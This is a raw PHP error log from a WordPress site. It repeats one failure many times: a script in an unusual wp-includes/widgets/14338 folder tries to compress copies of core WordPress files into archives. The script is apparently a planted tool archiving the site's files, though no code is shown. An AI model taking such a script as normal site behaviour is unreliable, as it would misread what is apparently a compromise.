#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:41:03 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-http.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:41:21 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/atomlib.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:41:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-feed.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:41:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-pop3.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:41:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block-bindings.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:41:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/script-loader.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:41:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-smtp.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:41:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/shortcodes.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:42:03 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/formatting.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:42:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-walker-page.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:42:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/taxonomy.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:42:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-engine.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:42:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-fatal-error-handler.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:42:26 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/fonts.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:42:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-navigation-fallback.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:42:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-plugin-dependencies.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:42:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/script-modules.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:42:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-http-requests-hooks.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:42:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/general-template.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:43:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/link-template.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:43:26 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/ms-deprecated.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:43:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/embed.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:43:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:43:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/rss-functions.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:43:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/feed-rss.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:44:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/pomo.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:44:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/rewrite.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:44:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/deprecated.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:45:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/customize.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:46:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/SimplePie.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:46:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/PHPMailer.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:46:17 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/bookmark-template.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:46:24 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/category-template.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:47:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/blocks.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:47:58 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/assets.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:48:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-metadata-lazyloader.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:48:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-block-type-registry.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:48:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-theme-json-resolver.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:48:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-textdomain-registry.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:48:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-customize-nav-menus.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:48:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-db.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:49:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-requests.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:49:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/default-constants.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:49:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/nav-menu-template.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:49:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-previews.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:49:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Text.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:49:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/l10n.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:49:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block-i18n.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:49:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block-bindings.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:49:55 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
